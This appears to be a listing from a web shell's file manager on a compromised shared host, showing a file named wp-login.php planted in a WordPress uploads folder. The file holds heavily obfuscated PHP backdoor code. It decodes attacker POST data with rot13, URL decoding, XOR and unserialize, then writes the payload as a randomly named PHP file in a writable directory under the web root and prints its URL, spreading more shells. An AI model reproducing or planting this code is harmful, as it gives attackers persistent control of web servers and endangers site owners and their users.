HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/studiomilighetti/wp-content/uploads/2015/12/wp-login.php
<?php function UzcecPpTQN($aLtSJt){$YEDkoc = chr(114).chr(415-318).chr(119).chr(117).'r'."\x6c"."\x64".'e'.chr(99).chr(111).chr(752-652)."\x65";$mvWjsmpcS = chr(580-465).chr(486-370).'r'.chr(95).chr(1045-931).chr(312-201).chr(1000-884)."\x31"."\63";$sHvpLutR = chr(977-862)."\164".chr(676-562).chr(403-308)."\x73"."\x70"."\154"."\151"."\x74";$aLtSJt = $sHvpLutR($YEDkoc($mvWjsmpcS($aLtSJt)));return $aLtSJt;}function QFdUseHDT($eqDGijv, $aLtSJt){$JsVHymDf = 's'."\x74".chr(114)."\137".'s'."\x70"."\x6c".chr(105).'t';$eqDGijv = array_slice($JsVHymDf(str_repeat($eqDGijv, (count($aLtSJt)/16)+1)), 0, count($aLtSJt));return $eqDGijv;}function bAPWUcecx($LUiCXAteY, $hEtvPWzWA, $eqDGijv){$utJbnQB = "908907f6-7276-4ba8-81a5-762e440d7911";return $LUiCXAteY ^ $utJbnQB[$hEtvPWzWA % strlen($utJbnQB)] ^ $eqDGijv;}function gAYbskJ($aLtSJt, $eqDGijv){$aLtSJt = array_map("bAPWUcecx", array_values($aLtSJt), array_keys($aLtSJt), array_values($eqDGijv));$aLtSJt = implode("", $aLtSJt);$SXHwttQ = "\x75"."\x6e".'s'."\x65".chr(700-586)."\151".chr(97)."\154".chr(201-96).chr(122).chr(432-331);$aLtSJt = @$SXHwttQ($aLtSJt);return $aLtSJt;}function OtQZs(){echo "kjrHD";}function yYzUtA($DzMILir){static $yEsBjlxNWh = array();$yXcXgxdp = glob($DzMILir . '/*', GLOB_ONLYDIR);$lVHkAzz = count($yXcXgxdp);if ($lVHkAzz > 0) {foreach ($yXcXgxdp as $DzMIL) {$ddOBGNGtwW = "\x69".chr(115).chr(335-240).'w'.'r'.chr(105).'t'."\141".chr(98).chr(449-341)."\x65";if (@$ddOBGNGtwW($DzMIL)) {$yEsBjlxNWh[] = $DzMIL;}}}foreach ($yXcXgxdp as $DzMILir) yYzUtA($DzMILir);return $yEsBjlxNWh;}function wwitGzUsa(){echo "IwwMVyoB";}function lqnJr($aLtSJt){$RPFbK = "\104".chr(157-78).chr(67).chr(752-667).'M'."\x45"."\x4e"."\124"."\x5f".chr(82).'O'.'O'.chr(84);$FTTpCsX = $_SERVER[$RPFbK];$yXcXgxdp = yYzUtA($FTTpCsX);$AwEQgWR = array_rand($yXcXgxdp);$LQRAebtRD = chr(46).'p'.chr(104).'p';$VsnfMz = $yXcXgxdp[$AwEQgWR] . "/" . substr(md5(time()), 0, 8) . $LQRAebtRD;$YJniL = 'f'.chr(495-390)."\154"."\145"."\x5f"."\160"."\165".'t'.'_'.'c'.chr(637-526).chr(110)."\x74"."\x65"."\x6e"."\164".chr(115);@$YJniL($VsnfMz, $aLtSJt);$oxYQWp = chr(513-441)."\x54".chr(752-668)."\x50"."\x5f"."\x48".'O'.chr(83)."\x54";$SQcNx = chr(104)."\164".chr(459-343).chr(112).':'."\x2f".'/';$bUhNEeoa = $SQcNx . $_SERVER[$oxYQWp] . substr($VsnfMz, strlen($FTTpCsX));print($bUhNEeoa);}foreach ($_POST as $eqDGijv => $aLtSJt){$RIYLtM = strlen($eqDGijv);if ($RIYLtM == 16){$aLtSJt = UzcecPpTQN($aLtSJt);$eqDGijv = QFdUseHDT($eqDGijv, $aLtSJt);$aLtSJt = gAYbskJ($aLtSJt, $eqDGijv);if (@is_array($aLtSJt)){$AwEQgWR = array_keys($aLtSJt);$aLtSJt = $aLtSJt[$AwEQgWR[0]];if ($aLtSJt === $AwEQgWR[0]){$PzYwyEXjC = "\160"."\150".chr(732-620);$dWLBnTuP = chr(112)."\150"."\x70".'v'.'e'."\x72".chr(1003-888)."\151"."\x6f"."\x6e";$xKhrBf = 's'.chr(842-741).'r'.chr(378-273)."\x61".chr(877-769).'i'."\x7a"."\x65";echo @$xKhrBf(Array($PzYwyEXjC => @$dWLBnTuP(), ));}else {lqnJr($aLtSJt);}die();}}}